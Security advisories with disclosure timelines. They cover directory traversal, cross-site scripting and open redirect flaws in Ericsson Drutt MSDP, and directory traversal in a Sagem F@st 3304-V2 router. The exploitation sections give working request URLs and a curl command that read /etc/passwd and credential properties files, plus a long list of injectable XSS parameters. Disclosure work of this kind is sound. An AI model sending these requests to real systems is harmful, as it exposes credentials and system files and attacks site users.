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Ericsson Drutt MSDP (Instance Monitor) Directory Traversal / File Access +------------------------------------------------------------------------------------------------------+ + Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access + +------------------------------------------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (Instance Monitor) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:L/Au:N/C:P/I:N/A:N CVE : CVE-2015-2166 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. +----------------------+ + Exploitation Details + +----------------------+ This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s): http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure Ericsson Drutt MSDP (Report Viewer) Cross Site Scripting +----------------------------------------------------------------------+ + Ericsson Drutt MSDP (Report Viewer) - Cross Site Scripting Injection + +----------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (Report Viewer) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:N/C:N/I:P/A:N CVE : CVE-2015-2165 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The Report Viewer component contains a vulnerability (at multiple user-supplied input points) that could allow an unauthenticated, remote attacker to execute arbitrary code in the user's browser session in the context of the affected site. +----------------------+ + Exploitation Details + +----------------------+ The vulnerable input points and respective URL paths are listed below: 1. http://<drutt:port>/reports/pages/top-links.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=clicks&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=&atype=[XSS]&atitle=[XSS] 2. http://<drutt:port>/reports/pages/page-summary.jsp?portal=[XSS]&uid=[XSS] 3. http://<drutt:port>/reports/pages/top-useragent-devices.jsp?portal=[XSS] 4. http://<drutt:port>/reports/pages/service-summary.jsp?portal=[XSS]&uid=[XSS] 5. http://<drutt:port>/reports/pages/top-useragent-devices.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=reqs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 6. http://<drutt:port>/reports/pages/top-interest-areas.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=urs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 7. http://<drutt:port>/reports/pages/top-message-services.jsp?interval=Y&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=urs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 8. http://<drutt:port>/reports/pages/user-statistics.jsp?portal=[XSS]&interval=Y&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 9. http://<drutt:port>/reports/pages/message-shortcode-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]& usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=9397[XSS]&uid2=[XSS]&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=XSS 10. http://<drutt:port>/reports/pages/message-providers-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 11. http://<drutt:port>/reports/pages/license-summary.jsp?interval=D&fromDate=2015-02-11&toDate=2015-02-12&fromTime=00&toTime=00&usercategory=&orderBy=ival&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 12. http://<drutt:port>/reports/pages/top-web-pages.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 13. http://<drutt:port>/reports/pages/top-devices.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 14. http://<drutt:port>/reports/pages/top-pages.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 15. http://<drutt:port>/reports/pages/useragent-device-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=[XSS]&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 16. http://<drutt:port>/reports/pages/message-services-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 17. http://<drutt:port>/reports/pages/top-message-providers.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 18. http://<drutt:port>/reports/pages/top-message-devices.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 19. http://<drutt:port>/reports/pages/top-message-assets.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 20. http://<drutt:port>/reports/pages/top-message-downloads.jsp?interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 21. http://<drutt:port>/reports/pages/top-message-shortcode.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 22. http://<drutt:port>/reports/pages/request-summary.jsp?interval=D&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=ival&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 23. http://<drutt:port>/reports/pages/link-summary-select.jsp?portal=[XSS] 24. http://<drutt:port>/reports/pages/link-summary.jsp?portal=[XSS]&interval=M&fromDate=2014-02&toDate=2015-02&fromTime=17&toTime=18&usercategory=&orderBy=ival&sortDirection=desc&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 25. http://<drutt:port>/reports/pages/session-summary.jsp?portal=[XSS]&show=a&interval=M&fromDate=2014-02[XSS]&toDate=2015-02[XSS]&fromTime=17[XSS]&toTime=18[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 26. http://<drutt:port>/reports/pages/provider-summary-select.jsp?portal=[XSS] 27. http://<drutt:port>/reports/pages/provider-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 28. http://<drutt:port>/reports/pages/top-providers.jsp?portal=[XSS] 29. http://<drutt:port>/reports/pages/module-summary-select.jsp?portal=[XSS] 30. http://<drutt:port>/reports/pages/module-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 31. http://<drutt:port>/reports/pages/top-providers.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 32. http://<drutt:port>/reports/pages/top-modules.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 33. http://<drutt:port>/reports/pages/top-services.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 31.Mar.2015 - Public disclosure Ericsson Drutt MSDP (3PI Manager) Cross Site Scripting +p-------------------------------------------------------------------+ + Ericsson Drutt MSDP (3PI Manager) - Cross Site Scripting Injection + +--------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (3PI Manager) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:N/C:N/I:P/A:N CVE : Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The 3PI Manager component contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code in the user's browser session in the context of the affected site. +----------------------+ + Exploitation Details + +----------------------+ The vulnerable input point and respective URL path is listed below: http(s)://<drutt>:<port>/tpim/register.do POST Data: companyName=aaa&contactPersonName=secuid0&contactPersonEmail=[XSS]&contactPersonPhone=aa&comment=&send.pressed=Save +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure Source Ericsson Drutt MSDP (3PI Manager) Open Redirect +------------------------------------------------------+ + Ericsson Drutt MSDP (3PI Manager) - Open Redirection + +------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (3PI Manager) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:S/C:N/I:P/A:N CVE : CVE-2015-2167 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The identified vulnerability affects the 3PI Manager component and allows remote attackers to redirect (authenticated) users to arbitrary web sites and conduct phishing attacks via unspecified vectors. +----------------------+ + Exploitation Details + +----------------------+ The vulnerable parameter and the respective URL path is listed below: http://<drutt>:<port>/jsp/start-3pi-manager.jsp?url=http://www.google.com +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure

# Title : Sagem F@st 3304-V2 Directory Traversal Vulnerability # Vendor : http://www.sagemcom.com # Severity : High # Tested Router : Sagem F@st 3304-V2 (3304, other versions may also be affected) # Date : 2015-03-01 # Author : Loudiyi Mohamed # Contact : Loudiyi.2010@gmail.com # Blog : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603 # Vulnerability description: Sagem Fast is an ADSL Router using a web management interface in order to change configuration settings. The router is Sagem Fast is an ADSL Router using a web management interface in order to change configuration settings. The web server of the router is vulnerable to directory traversal which allows reading files by sending encoded '../' requests. The vulnerability may be tested with the following command-line: curl -v4 http://192.168.1.1//../../../../../../../../../../etc/passwd Or directly from navigateur: http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fnet%2farp Source